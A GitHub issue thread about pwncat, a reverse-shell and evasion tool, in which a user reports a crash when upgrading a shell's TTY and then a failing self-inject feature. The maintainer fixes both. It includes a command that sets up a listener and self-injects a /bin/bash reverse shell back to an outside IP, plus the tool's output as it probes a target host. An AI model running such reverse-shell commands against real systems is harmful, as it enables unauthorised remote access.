cytopia / pwncat

pwncat - netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell, self-injecting shell and port forwarding magic - and its fully scriptable with Python (PSE)
https://pwncat.org
MIT License
1.76k stars 210 forks source link

When upgrading TTY to interactive its crashes after performing the fg #81

Closed dalemazza closed 4 years ago

dalemazza commented 4 years ago

ISSUE TYPE

unsure if this is me doing something wrong but i and a few others i know have this issue thanks

cytopia commented 4 years ago

@dalemazza Thanks for creating this issue. I can reproduce this myself and will start looking into it.

dalemazza commented 4 years ago

Amazing! I'm glad it wasn't just my end. Such a fantastic tool!

cytopia commented 4 years ago

Some heads-up here:

It is supposedly this line which is causing the issue (I am reading line-wise): https://github.com/cytopia/pwncat/blob/master/bin/pwncat#L3072

In raw mode, it doesn't send lines, but single characters instead, so it's waiting forever until \n appears (which also doesn't work with Enter). Will need to make the following changes:

cytopia commented 4 years ago

@dalemazza I've created a fix that works for me (it's not yet released to PIP yet).

You can try it out via:

git clone https://github.com/cytopia/pwncat
cd pwncat
git checkout release-0.0.23
pip install .

Please let me know how that works for you.

dalemazza commented 4 years ago

@cytopia Thanks for the quick turn around.

Have just tested my end and it is working now!

image

As you can see on the screenshot it works! Also do you have any idea why it does not pick up any python versions installed when it clearly has python installed on the box?

cytopia commented 4 years ago

Also do you have any idea why it does not pick up any python versions installed when it clearly has python installed on the box?

Is that the same behaviour as with the previous version?

dalemazza commented 4 years ago

yes it is. I have never managed to get it to find a python version and use the inject function yet, despite knowing that the python is installed int the directories it probes for?

cytopia commented 4 years ago

Can you paste the full out when it is probing for Python versions.

dalemazza commented 4 years ago
kali@kali:/opt/pwncat$ pwncat -l 1234 --self-inject /bin/bash:10.9.33.138:1234
[PWNCAT CnC] Probing for: /bin/python
[PWNCAT CnC] Probing for: /bin/python2
[PWNCAT CnC] Probing for: /bin/python2.7
[PWNCAT CnC] Probing for: /bin/python3
[PWNCAT CnC] Probing for: /bin/python3.5
[PWNCAT CnC] Probing for: /bin/python3.6
[PWNCAT CnC] Probing for: /bin/python3.7
[PWNCAT CnC] Probing for: /bin/python3.8
[PWNCAT CnC] Probing for: /usr/bin/python
[PWNCAT CnC] Probing for: /usr/bin/python2
[PWNCAT CnC] Probing for: /usr/bin/python2.7
[PWNCAT CnC] Probing for: /usr/bin/python3
[PWNCAT CnC] Probing for: /usr/bin/python3.5
[PWNCAT CnC] Probing for: /usr/bin/python3.6
[PWNCAT CnC] Probing for: /usr/bin/python3.7
[PWNCAT CnC] Probing for: /usr/bin/python3.8
[PWNCAT CnC] Probing for: /usr/local/bin/python
[PWNCAT CnC] Probing for: /usr/local/bin/python2
[PWNCAT CnC] Probing for: /usr/local/bin/python2.7
[PWNCAT CnC] Probing for: /usr/local/bin/python3
[PWNCAT CnC] Probing for: /usr/local/bin/python3.5
[PWNCAT CnC] Probing for: /usr/local/bin/python3.6
[PWNCAT CnC] Probing for: /usr/local/bin/python3.7
[PWNCAT CnC] Probing for: /usr/local/bin/python3.8
[PWNCAT CnC] Probing for: /usr/local/python/bin/python
[PWNCAT CnC] Probing for: /usr/local/python/bin/python2
[PWNCAT CnC] Probing for: /usr/local/python/bin/python2.7
[PWNCAT CnC] Probing for: /usr/local/python/bin/python3
[PWNCAT CnC] Probing for: /usr/local/python/bin/python3.5
[PWNCAT CnC] Probing for: /usr/local/python/bin/python3.6
[PWNCAT CnC] Probing for: /usr/local/python/bin/python3.7
[PWNCAT CnC] Probing for: /usr/local/python/bin/python3.8
[PWNCAT CnC] Probing for: /usr/local/python2/bin/python
[PWNCAT CnC] Probing for: /usr/local/python2/bin/python2
[PWNCAT CnC] Probing for: /usr/local/python2/bin/python2.7
[PWNCAT CnC] Probing for: /usr/local/python2/bin/python3
[PWNCAT CnC] Probing for: /usr/local/python2/bin/python3.5
[PWNCAT CnC] Probing for: /usr/local/python2/bin/python3.6
[PWNCAT CnC] Probing for: /usr/local/python2/bin/python3.7
[PWNCAT CnC] Probing for: /usr/local/python2/bin/python3.8
[PWNCAT CnC] Probing for: /usr/local/python2.7/bin/python
[PWNCAT CnC] Probing for: /usr/local/python2.7/bin/python2
[PWNCAT CnC] Probing for: /usr/local/python2.7/bin/python2.7
[PWNCAT CnC] Probing for: /usr/local/python2.7/bin/python3
[PWNCAT CnC] Probing for: /usr/local/python2.7/bin/python3.5
[PWNCAT CnC] Probing for: /usr/local/python2.7/bin/python3.6
[PWNCAT CnC] Probing for: /usr/local/python2.7/bin/python3.7
[PWNCAT CnC] Probing for: /usr/local/python2.7/bin/python3.8
[PWNCAT CnC] Probing for: /usr/local/python3/bin/python
[PWNCAT CnC] Probing for: /usr/local/python3/bin/python2
[PWNCAT CnC] Probing for: /usr/local/python3/bin/python2.7
[PWNCAT CnC] Probing for: /usr/local/python3/bin/python3
[PWNCAT CnC] Probing for: /usr/local/python3/bin/python3.5
[PWNCAT CnC] Probing for: /usr/local/python3/bin/python3.6
[PWNCAT CnC] Probing for: /usr/local/python3/bin/python3.7
[PWNCAT CnC] Probing for: /usr/local/python3/bin/python3.8
[PWNCAT CnC] Probing for: /usr/local/python3.5/bin/python
[PWNCAT CnC] Probing for: /usr/local/python3.5/bin/python2
[PWNCAT CnC] Probing for: /usr/local/python3.5/bin/python2.7
[PWNCAT CnC] Probing for: /usr/local/python3.5/bin/python3
[PWNCAT CnC] Probing for: /usr/local/python3.5/bin/python3.5
[PWNCAT CnC] Probing for: /usr/local/python3.5/bin/python3.6
[PWNCAT CnC] Probing for: /usr/local/python3.5/bin/python3.7
[PWNCAT CnC] Probing for: /usr/local/python3.5/bin/python3.8
[PWNCAT CnC] Probing for: /usr/local/python3.6/bin/python
[PWNCAT CnC] Probing for: /usr/local/python3.6/bin/python2
[PWNCAT CnC] Probing for: /usr/local/python3.6/bin/python2.7
[PWNCAT CnC] Probing for: /usr/local/python3.6/bin/python3
[PWNCAT CnC] Probing for: /usr/local/python3.6/bin/python3.5
[PWNCAT CnC] Probing for: /usr/local/python3.6/bin/python3.6
[PWNCAT CnC] Probing for: /usr/local/python3.6/bin/python3.7
[PWNCAT CnC] Probing for: /usr/local/python3.6/bin/python3.8
[PWNCAT CnC] Probing for: /usr/local/python3.7/bin/python
[PWNCAT CnC] Probing for: /usr/local/python3.7/bin/python2
[PWNCAT CnC] Probing for: /usr/local/python3.7/bin/python2.7
[PWNCAT CnC] Probing for: /usr/local/python3.7/bin/python3
[PWNCAT CnC] Probing for: /usr/local/python3.7/bin/python3.5
[PWNCAT CnC] Probing for: /usr/local/python3.7/bin/python3.6
[PWNCAT CnC] Probing for: /usr/local/python3.7/bin/python3.7
[PWNCAT CnC] Probing for: /usr/local/python3.7/bin/python3.8
[PWNCAT CnC] Probing for: /usr/local/python3.8/bin/python
[PWNCAT CnC] Probing for: /usr/local/python3.8/bin/python2
[PWNCAT CnC] Probing for: /usr/local/python3.8/bin/python2.7
[PWNCAT CnC] Probing for: /usr/local/python3.8/bin/python3
[PWNCAT CnC] Probing for: /usr/local/python3.8/bin/python3.5
[PWNCAT CnC] Probing for: /usr/local/python3.8/bin/python3.6
[PWNCAT CnC] Probing for: /usr/local/python3.8/bin/python3.7
[PWNCAT CnC] Probing for: /usr/local/python3.8/bin/python3.8
[PWNCAT CnC] Probing for: /opt/bin/python
[PWNCAT CnC] Probing for: /opt/bin/python2
[PWNCAT CnC] Probing for: /opt/bin/python2.7
[PWNCAT CnC] Probing for: /opt/bin/python3
[PWNCAT CnC] Probing for: /opt/bin/python3.5
[PWNCAT CnC] Probing for: /opt/bin/python3.6
[PWNCAT CnC] Probing for: /opt/bin/python3.7
[PWNCAT CnC] Probing for: /opt/bin/python3.8
[PWNCAT CnC] Probing for: /opt/python/bin/python
[PWNCAT CnC] Probing for: /opt/python/bin/python2
[PWNCAT CnC] Probing for: /opt/python/bin/python2.7
[PWNCAT CnC] Probing for: /opt/python/bin/python3
[PWNCAT CnC] Probing for: /opt/python/bin/python3.5
[PWNCAT CnC] Probing for: /opt/python/bin/python3.6
[PWNCAT CnC] Probing for: /opt/python/bin/python3.7
[PWNCAT CnC] Probing for: /opt/python/bin/python3.8
[PWNCAT CnC] Probing for: /opt/python2/bin/python
[PWNCAT CnC] Probing for: /opt/python2/bin/python2
[PWNCAT CnC] Probing for: /opt/python2/bin/python2.7
[PWNCAT CnC] Probing for: /opt/python2/bin/python3
[PWNCAT CnC] Probing for: /opt/python2/bin/python3.5
[PWNCAT CnC] Probing for: /opt/python2/bin/python3.6
[PWNCAT CnC] Probing for: /opt/python2/bin/python3.7
[PWNCAT CnC] Probing for: /opt/python2/bin/python3.8
[PWNCAT CnC] Probing for: /opt/python2.7/bin/python
[PWNCAT CnC] Probing for: /opt/python2.7/bin/python2
[PWNCAT CnC] Probing for: /opt/python2.7/bin/python2.7
[PWNCAT CnC] Probing for: /opt/python2.7/bin/python3
[PWNCAT CnC] Probing for: /opt/python2.7/bin/python3.5
[PWNCAT CnC] Probing for: /opt/python2.7/bin/python3.6
[PWNCAT CnC] Probing for: /opt/python2.7/bin/python3.7
[PWNCAT CnC] Probing for: /opt/python2.7/bin/python3.8
[PWNCAT CnC] Probing for: /opt/python3/bin/python
[PWNCAT CnC] Probing for: /opt/python3/bin/python2
[PWNCAT CnC] Probing for: /opt/python3/bin/python2.7
[PWNCAT CnC] Probing for: /opt/python3/bin/python3
[PWNCAT CnC] Probing for: /opt/python3/bin/python3.5
[PWNCAT CnC] Probing for: /opt/python3/bin/python3.6
[PWNCAT CnC] Probing for: /opt/python3/bin/python3.7
[PWNCAT CnC] Probing for: /opt/python3/bin/python3.8
[PWNCAT CnC] Probing for: /opt/python3.5/bin/python
[PWNCAT CnC] Probing for: /opt/python3.5/bin/python2
[PWNCAT CnC] Probing for: /opt/python3.5/bin/python2.7
[PWNCAT CnC] Probing for: /opt/python3.5/bin/python3
[PWNCAT CnC] Probing for: /opt/python3.5/bin/python3.5
[PWNCAT CnC] Probing for: /opt/python3.5/bin/python3.6
[PWNCAT CnC] Probing for: /opt/python3.5/bin/python3.7
[PWNCAT CnC] Probing for: /opt/python3.5/bin/python3.8
[PWNCAT CnC] Probing for: /opt/python3.6/bin/python
[PWNCAT CnC] Probing for: /opt/python3.6/bin/python2
[PWNCAT CnC] Probing for: /opt/python3.6/bin/python2.7
[PWNCAT CnC] Probing for: /opt/python3.6/bin/python3
[PWNCAT CnC] Probing for: /opt/python3.6/bin/python3.5
[PWNCAT CnC] Probing for: /opt/python3.6/bin/python3.6
[PWNCAT CnC] Probing for: /opt/python3.6/bin/python3.7
[PWNCAT CnC] Probing for: /opt/python3.6/bin/python3.8
[PWNCAT CnC] Probing for: /opt/python3.7/bin/python
[PWNCAT CnC] Probing for: /opt/python3.7/bin/python2
[PWNCAT CnC] Probing for: /opt/python3.7/bin/python2.7
[PWNCAT CnC] Probing for: /opt/python3.7/bin/python3
[PWNCAT CnC] Probing for: /opt/python3.7/bin/python3.5
[PWNCAT CnC] Probing for: /opt/python3.7/bin/python3.6
[PWNCAT CnC] Probing for: /opt/python3.7/bin/python3.7
[PWNCAT CnC] Probing for: /opt/python3.7/bin/python3.8
[PWNCAT CnC] Probing for: /opt/python3.8/bin/python
[PWNCAT CnC] Probing for: /opt/python3.8/bin/python2
[PWNCAT CnC] Probing for: /opt/python3.8/bin/python2.7
[PWNCAT CnC] Probing for: /opt/python3.8/bin/python3
[PWNCAT CnC] Probing for: /opt/python3.8/bin/python3.5
[PWNCAT CnC] Probing for: /opt/python3.8/bin/python3.6
[PWNCAT CnC] Probing for: /opt/python3.8/bin/python3.7
[PWNCAT CnC] Probing for: /opt/python3.8/bin/python3.8
[PWNCAT CnC] No Python has been found. Aborting and handing over to current shell.

$ 
$ which python
/usr/bin/python

python is installed as i used it to upgrade the shell
cytopia commented 4 years ago

Can you run your local command again in verbose mode (and paste the output here):

pwncat -l 1234 --self-inject /bin/bash:10.9.33.138:1234 -vvvvv

And also let me know what your python version on your system is

cytopia commented 4 years ago

I moved this self-inject issue over to here: https://github.com/cytopia/pwncat/issues/83

dalemazza commented 4 years ago

Moved comment here: https://github.com/cytopia/pwncat/issues/83